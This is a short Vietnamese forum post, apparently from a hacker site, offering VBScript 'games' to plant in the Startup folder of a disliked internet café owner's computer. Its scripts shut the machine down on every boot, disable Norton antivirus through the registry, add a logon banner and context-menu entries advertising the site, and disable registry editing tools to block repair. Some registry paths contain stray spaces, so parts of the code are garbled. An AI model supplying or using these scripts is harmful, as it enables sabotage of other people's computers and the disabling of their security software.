Đây là một vài trò chơi anh em xem ghét ông chủ quán nào thì làm tí cho vui thôi nhé.
Bằng cách đặt một file (*.vbs) nằm trong thư mục Startup (Star\All Program\Accessories\Startup) chứa một trong những đoạn script sau:
1.Trò chơi thứ nhất: không cho khởi động máy:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"
2.Trò chơi thứ hai: disable NAV( nếu có install) của họ:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\S ervi ces\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"
3.Trò chơi thứ ba: hiển thị môt meesage mỗi khi họ reboot máy:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = "HKLM\Software\Microsoft\Windows\CurrentVersio n\Wi nLogon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "Hackervn.org"
wsh.RegWrite s1+s3, "Robinhood invite you to join hackervn.org"
4.Trò chơi 4: hiển thị một dòng lệnh mỗi khi họ click vào một file hay folder:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\Hello I am Robinhood-come from hackervn.org\",""
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hello I am Robinhood-come from hackervn.org\","Robinhood"
5.Trò chơi này đảm bảo làm cho các trò chơi trên có thể diễn ra "vui vẻ": disable Registry của người ta :
Dim objShell
Set objShell = CreateObject( "WScript.Shell" )
s1 = "HKEY_USERS\.Default\Software\Microsoft\Window s\Cu rrentVersion\"
s2 = "Policies\System\DisableRegistryTools"
objShell.RegWrite s1+s2,1, "REG_DWORD"
Cái này vô tình trên net lượm được, nên chưa thử, anh chị em nào muốn thử thì cứ làm
Các đoạn script này được viết dưới dạng vb!
Trang Chính 
